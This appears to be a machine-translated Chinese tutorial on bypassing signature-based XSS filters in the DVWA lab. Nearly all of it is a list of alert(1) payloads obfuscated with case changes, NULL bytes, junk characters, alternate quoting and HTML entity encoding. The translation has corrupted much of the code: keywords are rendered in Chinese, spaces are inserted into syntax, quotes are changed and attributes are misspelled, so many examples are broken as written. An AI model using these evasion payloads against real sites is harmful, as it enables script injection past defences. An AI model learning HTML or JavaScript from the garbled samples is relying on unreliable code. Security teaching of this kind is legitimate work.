繞過基於簽名的XSS篩選器:修改HTML
在很多情況下,您可能會發現基於簽名的過濾器只需切換到一個不太熟悉的執行腳本的方法即可。如果失敗了,您需要查看混淆攻擊的方法。
本文提供了HTML語法可以被混淆以擊敗常用過濾器的方式示例。
該示例使用OWASP的Broken Web Application Project中的“DVWA”和“Magical Code Injection Rainbow”的版本。了解如何下載,安裝和使用此項目。

旨在阻止XSS攻擊的基於簽名的過濾器通常使用正則表達式或其他技術來標識關鍵HTML組件,如標簽括號,標簽名稱,屬性名稱和屬性值。
許多這些過濾器可以通過在一個或多個瀏覽器容忍的方式下在HTML內的關鍵點放置不尋常的字符來繞過。
考慮以下簡單的利用。
<img onerror = alert(1)src = a>
您可以通過多種方式修改此語法,並且仍然可以在至少一個瀏覽器上執行代碼。
標簽名稱

從開始標記名稱開始,可以簡單地通過改變所使用字符的大小來繞過最簡單和朴素的過濾器:
<iMg onerror = alert(1)src = a>
更進一步,如果稍微修改示例,則可以使用任意標記名稱來引入事件處理程序,從而繞過僅阻止特定命名標記的篩選器:
<x onclick = alert(1)scr = a>點擊此處</ x>

另外,你可以在任何位置插入NULL字節。
注意:NULL字節技巧適用於HTML頁面中任何位置的Internet Explorer。自由使用NULL字節通常提供了一種快速方法來繞過不知道IE行為的基於簽名的過濾器。
<[%00] img onerror = alert(1)src = a>
注意:在這些示例中,[%xx]
指示xx的十六進制ASCII代碼的文字字符。
標簽名稱后的空格

幾個字符可以替換標簽名稱和第一個屬性名稱之間的空格:
<img / onerror = alert(1)src = a>
<img / anyjunk / onerror = alert(1)src = a>
<img“”“> <script> alert(”alert(1)“)</ script>”>>
注意:即使在攻擊不需要任何標簽屬性的情況下,也應該嘗試在標簽名稱之后添加一些多余的內容,因為這會繞過一些簡單的過濾器:
<腳本/ anyjunk>警報(1)</ SCRIPT>
屬性分隔符

在原始示例中,屬性值未被分隔,需要在屬性值后面留出一些空白,以指示在引入另一個屬性之前它已結束。
屬性可以選擇用雙引號或單引號分隔,或者在IE上使用反引號:
<img onerror =“alert(1)”src = a>
<img onerror ='alert(1)'src = a>
<img onerror =`alert(1)`src = a>

在前面的示例中周圍的屬性的切換提供了進一步的方法來繞過一些過濾器,檢查開始屬性名稱上。
<img src ='a'onerror = alert(1)>
通過將引號分隔的屬性與標記名稱后面的意外字符相結合,可以設計出不使用任何空格的攻擊,從而繞過一些簡單的過濾器:
<IMG /的onerror = “警報(1)” SRC = A>
屬性名稱和值

在屬性名稱和值中,可以使用前面描述的相同的NULL字節技巧。
<img onerror = a [%00] lert(1)src = a>
<i [%00] mg onerror = alert(1)src = a>
您也可以對值進行HTML編碼:
<img onerror = a&#x6c; ert(1)src = a>
由於瀏覽器HTML在對其進一步處理之前對屬性值進行解碼,因此可以使用HTML編碼來混淆使用腳本代碼,從而避免使用多個過濾器。

值得注意的是,瀏覽器可以容忍各種規范的偏差,甚至可以忽略那些知道HTML編碼的過濾器。您可以同時使用十進制和十六進制格式,添加多余的前導零,並省略后綴分號。
<img onerror = a&#x06c; ert(1)src = a>
<img onerror = a&#x006c; ert(1)src = a>
<img onerror = a&#x0006c; ert(1)src = a>
<img onerror = a&#108; ert(1)src = a>
<img onerror = a&#0108; ert(1)src = a>
<img onerror = a&#108ert(1)src = a>